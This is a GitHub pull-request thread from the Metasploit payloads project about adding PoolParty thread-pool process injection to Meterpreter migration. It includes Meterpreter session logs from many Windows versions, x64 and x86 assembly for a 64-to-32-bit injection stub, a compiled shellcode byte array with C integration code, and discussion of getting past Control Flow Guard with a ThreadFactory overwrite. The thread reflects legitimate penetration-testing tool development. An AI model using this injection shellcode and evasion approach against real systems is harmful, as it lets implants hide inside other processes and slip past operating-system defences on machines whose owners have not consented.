rapid7 / metasploit-payloads

Unified repository for different Metasploit Framework payloads
Other
1.75k stars 673 forks source link

Injection using PoolParty #710

Closed dledda-r7 closed 3 weeks ago

dledda-r7 commented 3 months ago

This PR improves the base_inject.c to support a new injection using the Pool-Party Injection.

What is present in this PR

Variants supported

Verification DLL Injection

The function dll_injection has been modified to use the poolparty when possible so is transparent to the user and "Just Works (TM)"

Verification Migration

~Make sure you have this fix~

bwatters-r7 commented 3 months ago
Windows 10x64 v1511 ``` [*] Meterpreter session 1 opened (10.5.135.201:4567 -> 10.5.134.141:49946) at 2024-08-09 11:45:05 -0500 msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : WIN10X64-1511 OS : Windows 10 (10.0 Build 10586). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getuid Server username: WIN10X64-1511\msfuser meterpreter > migrate 3572 [*] Migrating from 3084 to 3572... WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used [*] Migration completed successfully. meterpreter > getpid Current pid: 3572 meterpreter > exit [*] Shutting down session: 1 [*] 10.5.134.141 - Meterpreter session 1 closed. Reason: Died ```
Windows 10x64 1903
msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : DESKTOP-CL5L2IH
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-CL5L2IH\msfuser
meterpreter > migrate 4968
[*] Migrating from 4328 to 4968...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : DESKTOP-CL5L2IH
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > 

Windows 10x64 2022 ``` msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1 [*] Starting interaction with 3... meterpreter > sysinfo Computer : DESKTOP-V413087 OS : Windows 10 (10.0 Build 19045). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getuid Server username: DESKTOP-V413087\msfconsole meterpreter > migrate 4652 [*] Migrating from 764 to 4652... WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used [*] Migration completed successfully. meterpreter > getpid Current pid: 4652 meterpreter > ```
Windows 2016x64 ``` msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1 [*] Starting interaction with 4... meterpreter > sysinfo Computer : APT_WIN2016X64 OS : Windows Server 2016 (10.0 Build 14393). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getuid Server username: APT_WIN2016X64\msfuser meterpreter > migrate 4300 [*] Migrating from 1088 to 4300... WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used [*] Migration completed successfully. meterpreter > ```
Windows 2019 ``` msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1 [*] Starting interaction with 5... meterpreter > sysinfo Computer : WIN-2E6BPFGP9F7 OS : Windows Server 2019 (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getuid Server username: WIN-2E6BPFGP9F7\msfuser meterpreter > migrate 552 [*] Migrating from 1860 to 552... WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used [*] Migration completed successfully. meterpreter > sysinfo Computer : WIN-2E6BPFGP9F7 OS : Windows Server 2019 (10.0 Build 17763). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter > getpid Current pid: 552 ```
Windows 2022 ``` msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1 [*] Starting interaction with 6... meterpreter > sysinfo Computer : SP1 OS : Windows Server 2022 (10.0 Build 20348). Architecture : x64 System Language : en_US Domain : DOMAIN Logged On Users : 14 Meterpreter : x64/windows meterpreter > getuid Server username: DOMAIN\Administrator meterpreter > migrate 6056 [*] Migrating from 4408 to 6056... WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.debug.dll is being used WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.debug.dll is being used [*] Migration completed successfully. meterpreter > getpid Current pid: 6056 meterpreter > ```
bwatters-r7 commented 3 months ago

You mentioned you'd tested on Win 7 and 10, so here's 8:

msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 7...

meterpreter > sysinfo
gComputer        : WIN8X64
OS              : Windows 8 (6.2 Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN8X64\msfuser
meterpreter > migrate 2520
[*] Migrating from 2552 to 2520...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
[-] core_migrate: Operation failed: Incorrect function.

image

dledda-r7 commented 3 months ago

You mentioned you'd tested on Win 7 and 10, so here's 8:

msf6 payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 7...

meterpreter > sysinfo
gComputer        : WIN8X64
OS              : Windows 8 (6.2 Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN8X64\msfuser
meterpreter > migrate 2520
[*] Migrating from 2552 to 2520...
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.debug.dll is being used
[-] core_migrate: Operation failed: Incorrect function.

image

Yep I was expecting to not work on Windows 8 targets, So far the TP injection variants seems to work well on Windows 11 and Windows 10. Probably the best shot is to use the WorkerFactory Overwrite when the system is below Windows 10. I'll investigate more. Thanks.

dledda-r7 commented 2 months ago

Injection from x64 to WoW64

Im leaving here a comment to document my attempt to perform the injection from a x64 process to WoW64 target.

Escaping from Heaven

The problem is that this injection, happen on the 64-bit context of a WoW64 process. Unlike the transition from 32-bit context to 64-bit context (commonly known as Heaven's Gate) where we have both context initialized, the 64-bit to 32-bit transition requires way more work because our process is not setup to run 32-bit code (yet), so even if is possible to switch the CPU to 32-bit (using the far jmp) every shellcode will most likely fail because the context of the process is not initialized (for example our fs segment register is null). After spending some time reverse engineering the wow64 dlls, I got couple of ideas:

While we are in Heaven we don't have access to kernel32.dll and probably loading it with LdrLoadDll will result in some error because of the precence of the 32-bit version of kernel32.dll.

wow64-user-apc user-apc-nttestalert wow64-internals knocking-on-heavens-gate

sfewer-r7 commented 2 months ago

I have spent some time on the pool party x64 to wow64 migration, and have a solution, some observations, and a problem.

First off, the target process will execute our arbitrary address to kick start the migration target-side via ntdll!TppWorkerThread. This function runs in its own thread, created by ntdll during TpAllocPoolInternal, and loops forever servicing the TP_DIRECT callback (and probably lots of other things too). As Diego notes above, when we get code execution from this primitive, we are initially in the host's x64 context and any attempt to transition to the x86 context will work, but the fs register appears uninitialized. In my testing reading from fs resulted in a read access violation. I was not able to identify why this was the case. My best guess is the thread executing ntdll!TppWorkerThread is not a normal thread, or was created so early on in the process lifetime that is is not initialized in a way that can transition to x86 context.

The solution seems to be to stay in the x64 context and from here, use ntdll!NtCreateThreadEx to create a new local thread. This new thread will also execute in the x64 context, but we can successfully switch to the x86 context and then successfully access fs as expected.

Note: We use ntdll!NtCreateThreadEx and not kernel32!CreateThread as kernel32 may not be available in the x64 context of a wow64 process.

Next up, it seems in the x64 context of a wow64 process, traversing the PEB can include modules that don't have a pointer to their module name! This causes a null pointer dereference when trying to use the x64 block_api.asm thunk, so a modification to block_api.asm is needed to prevent crashing during this edge case:

--- a/block_api.asm
+++ b/block_api.asm
@@ -30,6 +30,8 @@ api_call:
   mov rdx, [rdx+0x20]         ; Get the first module from the InMemoryOrder module list
 next_mod:                     ;
   mov rsi, [rdx+0x50]         ; Get pointer to modules name (unicode string)
+  test rsi, rsi               ; sanity check the pointer (the x64 context of a wow64 process on Win11 can have a null entry)
+  jz get_next_mod2            ; skip to the next module if rsi is null.
   movzx rcx, word [rdx+0x4a]  ; Set rcx to the length we want to check
   xor r9, r9                  ; Clear r9 which will store the hash of the module name
 loop_modname:                 ;
@@ -109,5 +111,6 @@ get_next_mod:                 ;
 get_next_mod1:                ;
   pop r9                      ; Pop off the current (now the previous) modules hash
   pop rdx                     ; Restore our position in the module list
+get_next_mod2:                ;
   mov rdx, [rdx]              ; Get the next module
   jmp next_mod                ; Process this module

Now that block_api will work, we can use it to call NtCreateThreadEx as follows:

[BITS 64]
[ORG 0]
  cld                      ; Clear the direction flag.
  call start               ;
%include "./src/block/block_api.asm" ;  
start:                     ;
  pop rbp                  ; Pop off the address of 'api_call' for calling later.

  jmp thread_start      
start2:
  pop rsi

  and rsp, ~0xf ; alignment for testing, unsure if we need this.
  sub rsp, 128

  lea rcx, [rsp] ; hThread

  mov rdx, 0x1FFFFF ; DesiredAccess

  xor r8, r8 ; ObjectAttributes

  xor r9, r9
  dec r9 ; ProcessHandle

  push r8 ; lpBytesBuffer
  push r8 ; SizeOfStackReserve
  push r8 ; SizeOfStackCommit
  push r8 ; StackZeroBits
  push r8 ; Flags, CreateSuspended = FALSE

  push r8 ; lpParameter

  push rsi ; lpStartAddress

  mov r10d, 0x9A3C803E ; 0x9A3C803E = ntdll.dll!NtCreateThreadEx
  call rbp ; NtCreateThreadEx(&handle, THREAD_ALL_ACCESS, 0, -1, &thread_start2, 0, FALSE, 0, 0, 0, 0);
  nop
loop:
  ; XXX: TO-DO: return gracefully, instead of looping forever below.
  xor eax,eax              ; This infinite loop seems necessary to keep the process running.
  cmp eax,eax              ; Needs further investigation
  je loop                  
  nop

This is then used to execute the below code in a new local thread. Our new thread will start in the x64 context, but we will perform a long jump to transition to the x86 context.

thread_start:
  call start2

thread_start2:

WOW64_CODE_SEGMENT  EQU 0x23

[BITS 64]
[ORG 0]
  cld
  call delta2
delta2:
  pop rax
  add rax, (native_x86-delta2)

  sub rsp, 8
  mov rdx, rsp

  mov dword [rdx+4], WOW64_CODE_SEGMENT
  mov dword [rdx], eax
  jmp dword far [rsp]

  nop

Now our new thread will be running x86 code, and we can use the ctx structure passed to us during migration (appended to the end of our blob of migration code) to call out to the reflective loader, and actually perform the Meterpreter migration.

native_x86:
[BITS 32]
  nop

  jmp _parameters
_cb_parameters:  
  pop esi ; pop address of ctx

  push dword [esi+8] ; ctx->lpParameter
  call dword [esi] ; ctx->lpStartAddress

  int3

_parameters:
  call _cb_parameters      ; Simple way to get the address of the POOLPARTYCTX using the return address

The above asm becomes the x64tox86 stub base_inject.c:

unsigned char x64tox86[] = {
  0xfc, 0xe8, 0xd1, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
  0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52,
  0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x85, 0xf6,
  0x0f, 0x84, 0xa5, 0x00, 0x00, 0x00, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d,
  0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20,
  0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51,
  0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81,
  0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00,
  0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18,
  0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9,
  0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
  0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
  0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58,
  0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48,
  0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48,
  0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41,
  0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58,
  0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x46, 0xff, 0xff, 0xff, 0x5d,
  0xeb, 0x3b, 0x5e, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x81, 0xec, 0x80, 0x00,
  0x00, 0x00, 0x48, 0x8d, 0x0c, 0x24, 0xba, 0xff, 0xff, 0x1f, 0x00, 0x4d,
  0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x49, 0xff, 0xc9, 0x41, 0x50, 0x41, 0x50,
  0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x56, 0x41, 0xba, 0x3e,
  0x80, 0x3c, 0x9a, 0xff, 0xd5, 0x90, 0x31, 0xc0, 0x39, 0xc0, 0x74, 0xfa,
  0x90, 0xe8, 0xc0, 0xff, 0xff, 0xff, 0xfc, 0xe8, 0x00, 0x00, 0x00, 0x00,
  0x58, 0x48, 0x83, 0xc0, 0x19, 0x48, 0x83, 0xec, 0x08, 0x48, 0x89, 0xe2,
  0xc7, 0x42, 0x04, 0x23, 0x00, 0x00, 0x00, 0x89, 0x02, 0xff, 0x2c, 0x24,
  0x90, 0x90, 0xeb, 0x07, 0x5e, 0xff, 0x76, 0x08, 0xff, 0x16, 0xcc, 0xe8,
  0xf4, 0xff, 0xff, 0xff
};

and we can use it during base_inject.c!inject_via_poolparty:

            else {
                dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_wow64");
                //lpStub = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2);
                //memcpy(lpStub, x64tox86, sizeof(x64tox86) - 1);
                //memcpy((LPBYTE)lpStub + sizeof(x64tox86) - 1, poolparty_stub_x86, sizeof(poolparty_stub_x86));
                //dwStubSize = sizeof(x64tox86) + sizeof(poolparty_stub_x86) - 2;
                //dwDestinationArch = PROCESS_ARCH_X64;

                lpStub = &x64tox86;
                dwStubSize = sizeof(x64tox86);
                dwDestinationArch = PROCESS_ARCH_X64;
            }

Finally when the above is used, we can successfully migrate from an x64 process to a wow64 process using the pool party TP_DIRECT insertion technique:

Note: I tested this on Windows 11, and the target x86 process was a simple console application I built to test.

meterpreter > sysinfo
Computer        : SFEWER-RE-VM
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > migrate 18860
[*] Migrating from 5700 to 18860...
WARNING: Local file C:/metasploit-framework/embedded/framework/data/meterpreter/metsrv.x86.debug.dll is being used
WARNING: Local file C:/metasploit-framework/embedded/framework/data/meterpreter/ext_server_stdapi.x86.debug.dll is being used
WARNING: Local file C:/metasploit-framework/embedded/framework/data/meterpreter/ext_server_priv.x86.debug.dll is being used
[*] Migration completed successfully.
meterpreter > sysinfo
Computer        : SFEWER-RE-VM
OS              : Windows 11 (10.0 Build 22631).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >

Observations

Control Flow Guard

So I was testing on a target process that did not have Control Flow Guard (CFG) enabled (or XFG). When you migrate using the pool party TP_DIRECT insertion technique, into a target wow64 process that has CFG (or XFG) enabled we hit a problem, the indirect call from ntdll!TppWorkerThread to our attacker controlled Direct->Callback is subject to a CFG/XFG check, and will fast fail as follows:

0:007> k
 # Child-SP          RetAddr               Call Site
00 00000000`071af178 00007ffb`8cd9b01c     ntdll!RtlFailFast2
01 00000000`071af180 00007ffb`8cd1f086     ntdll!RtlpHandleInvalidUserCallTarget+0x11c
02 00000000`071af1e0 00007ffb`8ccc5c9c     ntdll!LdrpHandleInvalidUserCallTarget+0x46
03 00000000`071af2a0 00007ffb`8cceaf35     ntdll!TppWorkerThread+0x72c
04 00000000`071af580 00000000`00000000     ntdll!RtlUserThreadStart+0x35

This was surprising as I thought any executable memory we VirtualAlloc(Ex) in a remote process, will have the CFG bitmap bits set to allow any addresses in the executable allocation be a valid indirect call targets (as we don't pass PAGE_TARGETS_INVALID to VirtualAllocEx). However this seems not to be the case for a wow64 process.

I experimented with using SetProcessValidCallTargets to explicitly allow a target address (Direct->Callback, aka lpPoolPartyStub in base_inject.c!inject_via_poolparty) become a valid call target, but it did not work, the expected bits were not set. It could be the case that under wow64, calling SetProcessValidCallTargets sets the bits in the x86 context and not the x64 context, and we are executing in the x64 context initially.

This is going to be a problem as CFG is common. For testing I used the x86 binary c:\Windows\SysWOW64\SndVol.exe to migrate into.

dledda-r7 commented 2 months ago

Hi @sfewer-r7, first of all thanks a lot for the time you spent on the PR! I am really happy to see I was overcomplicating the shellcoding part.

Regarding the blockapi

I got the same issue while testing and I thought the issue was normal and was caused by the fact what I was calling was not present inside the linked list of loaded dlls (for example kernel32 functions).

Regarding infinite loop

The infinite loop was making the migration work while testing but I agree before moving from Draft -> Ready PR this need to be fixed. I will investigate further.

Regarding WaitForSingleObject

That's fine, I have to work on the 32-bit stubs anyway so I will make sure to have an updated one that work for both native 32 and wow64.

Regaring Control Flow Guard

I have probably a solution and I think the 3rd variant I am implementing will bypass the CFG, precisely is the ThreadFactoryOverwrite, this should work because this variant is overwriting the entry point of the ThreadFactory (which is a function living inside the ntdll address space) that we can obtain from outside. so, if this works I am not expecting lot of issues besides some hacking to make this technique a bit cleaner (like restoring the original code + thread workers count after execution, if this doesn't cause issue during migration).

However even if this technique should be fine with x64 -> wow64 will be a bit more tricky on wow64 -> wow64 due the fact we have to write 64bit memory address (because the ThreadFactory is in the x64 context) from a 32bit process.

bwatters-r7 commented 1 month ago

Perhaps I'm doing something incorrect..... In trying this on Windows 10x64 first release on an x64 meterpreter into a notepad process:

[093c] [MIGRATE] Attempting to migrate. ProcessID=964, Arch=x64
[093c] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317
[093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0
[093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[093c] [MIGRATE] Got SeDebugPrivilege!
[093c] [MIGRATE] creating the configuration block
[093c] [CONFIG] preparing the configuration
[093c] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[093c] [CONFIG] Comms handle set to 0000000000000078
[093c] [CONFIG] Total of 1614 bytes located at 0x00000000001DE930
[093c] [MIGRATE] Config of 1614 bytes stashed at 0x00000000001DE930
[093c] [MIGRATE] Duplicated Event Handle: 0x1b4
[093c] [MIGRATE] Migrate stub: 0x0000007BD0A60000 -> 317 bytes
[093c] [MIGRATE] Migrate context: 0x0000007BD0A6013D -> 388 bytes
[093c] [MIGRATE] Migrate payload: 0x0000007BD0A602C1 -> 282112 bytes
[093c] [MIGRATE] Configuration: 0x0000007BD0AA50C1 -> 1614 bytes
[093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0
[093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[093c] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FFFEB0136D0 NtQueryObject: 00007FFFEB013640
[093c] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FFFEB014D90
[093c] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1)
[093c] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[093c] [INJECT] inject_via_remotethread: succeeded
[093c] [INJECT] inject_via_remotethread: Sending a migrate response...
[093c] [TRANSMIT] Sending packet to the server
[093c] [PKT FIND] Looking for type 65538

And again on Windows 10x64 21h1, x64 meterpreter and notepad native process:

[0674] [MIGRATE] Attempting to migrate. ProcessID=2108, Arch=x64
[0674] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317
[0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0674] [MIGRATE] Got SeDebugPrivilege!
[0674] [MIGRATE] creating the configuration block
[0674] [CONFIG] preparing the configuration
[0674] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0674] [CONFIG] Comms handle set to 00000000000000B8
[0674] [CONFIG] Total of 1614 bytes located at 0x000000000050F910
[0674] [MIGRATE] Config of 1614 bytes stashed at 0x000000000050F910
[0674] [MIGRATE] Duplicated Event Handle: 0x3b8
[0674] [MIGRATE] Migrate stub: 0x000002365D5E0000 -> 317 bytes
[0674] [MIGRATE] Migrate context: 0x000002365D5E013D -> 388 bytes
[0674] [MIGRATE] Migrate payload: 0x000002365D5E02C1 -> 282112 bytes
[0674] [MIGRATE] Configuration: 0x000002365D6250C1 -> 1614 bytes
[0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0674] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FF9C734D030 NtQueryObject: 00007FF9C734CF10
[0674] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FF9C7350120
[0674] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1)
[0674] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[0674] [INJECT] inject_via_remotethread: succeeded

Info

[ruby-3.1.5]((HEAD detached at upstream/pr/710)) tmoose@ubuntu-dev2024:~/rapid7/metasploit-payloads$ git log | head -n 10
commit b7b464d24afdec5ac82ac3a008c4c13e255a040a
Author: dledda-r7 <diego_ledda@rapid7.com>
Date:   Mon Oct 21 05:02:08 2024 -0400

    fix(injection): fix msvc compilation error

This error appears generated by the conditional statement

if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))

Which looks wrong to me? The second part of that condition is an OR between identical statements? It would only pass on migrating from syswow meterpreters to x64 processes?

I'm guessing there's a bit of a typo, and it should be

if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86))

That seems like it would support both x64->x64 and wow64->x64 as expected?

dledda-r7 commented 1 month ago

Perhaps I'm doing something incorrect..... In trying this on Windows 10x64 first release on an x64 meterpreter into a notepad process:

[093c] [MIGRATE] Attempting to migrate. ProcessID=964, Arch=x64
[093c] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317
[093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0
[093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[093c] [MIGRATE] Got SeDebugPrivilege!
[093c] [MIGRATE] creating the configuration block
[093c] [CONFIG] preparing the configuration
[093c] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[093c] [CONFIG] Comms handle set to 0000000000000078
[093c] [CONFIG] Total of 1614 bytes located at 0x00000000001DE930
[093c] [MIGRATE] Config of 1614 bytes stashed at 0x00000000001DE930
[093c] [MIGRATE] Duplicated Event Handle: 0x1b4
[093c] [MIGRATE] Migrate stub: 0x0000007BD0A60000 -> 317 bytes
[093c] [MIGRATE] Migrate context: 0x0000007BD0A6013D -> 388 bytes
[093c] [MIGRATE] Migrate payload: 0x0000007BD0A602C1 -> 282112 bytes
[093c] [MIGRATE] Configuration: 0x0000007BD0AA50C1 -> 1614 bytes
[093c] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FFFEAFC1BE0
[093c] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[093c] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[093c] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FFFEB0136D0 NtQueryObject: 00007FFFEB013640
[093c] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FFFEB014D90
[093c] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1)
[093c] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[093c] [INJECT] inject_via_remotethread: succeeded
[093c] [INJECT] inject_via_remotethread: Sending a migrate response...
[093c] [TRANSMIT] Sending packet to the server
[093c] [PKT FIND] Looking for type 65538

And again on Windows 10x64 21h1, x64 meterpreter and notepad native process:

[0674] [MIGRATE] Attempting to migrate. ProcessID=2108, Arch=x64
[0674] [MIGRATE] Attempting to migrate. PayloadLength=282112 StubLength=317
[0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0674] [MIGRATE] Got SeDebugPrivilege!
[0674] [MIGRATE] creating the configuration block
[0674] [CONFIG] preparing the configuration
[0674] [CONFIG] Allocating 1036 bytes for transport, total of 1604 bytes
[0674] [CONFIG] Comms handle set to 00000000000000B8
[0674] [CONFIG] Total of 1614 bytes located at 0x000000000050F910
[0674] [MIGRATE] Config of 1614 bytes stashed at 0x000000000050F910
[0674] [MIGRATE] Duplicated Event Handle: 0x3b8
[0674] [MIGRATE] Migrate stub: 0x000002365D5E0000 -> 317 bytes
[0674] [MIGRATE] Migrate context: 0x000002365D5E013D -> 388 bytes
[0674] [MIGRATE] Migrate payload: 0x000002365D5E02C1 -> 282112 bytes
[0674] [MIGRATE] Configuration: 0x000002365D6250C1 -> 1614 bytes
[0674] [INJECT][supports_poolparty_injection] RtlGetVersion: 00007FF9C72EE4D0
[0674] [INJECT][supports_poolparty_injection] dwSourceArch: 2 dwDestinationArch: 2
[0674] [INJECT][supports_poolparty_injection] os.dwMajorVersion: 10 os.dwMinorVersion: 0
[0674] [INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: 00007FF9C734D030 NtQueryObject: 00007FF9C734CF10
[0674] [INJECT][inject_via_poolparty][ntdll_init] ZwSetIoCompletion: 00007FF9C7350120
[0674] [INJECT][inject_via_poolparty] Can't inject on this target (yet)!. error=1 (0x1)
[0674] [MIGRATE] inject_via_poolparty failed, proceeding with legacy injection.
[0674] [INJECT] inject_via_remotethread: succeeded

Info

[ruby-3.1.5]((HEAD detached at upstream/pr/710)) tmoose@ubuntu-dev2024:~/rapid7/metasploit-payloads$ git log | head -n 10
commit b7b464d24afdec5ac82ac3a008c4c13e255a040a
Author: dledda-r7 <diego_ledda@rapid7.com>
Date:   Mon Oct 21 05:02:08 2024 -0400

    fix(injection): fix msvc compilation error

This error appears generated by the conditional statement

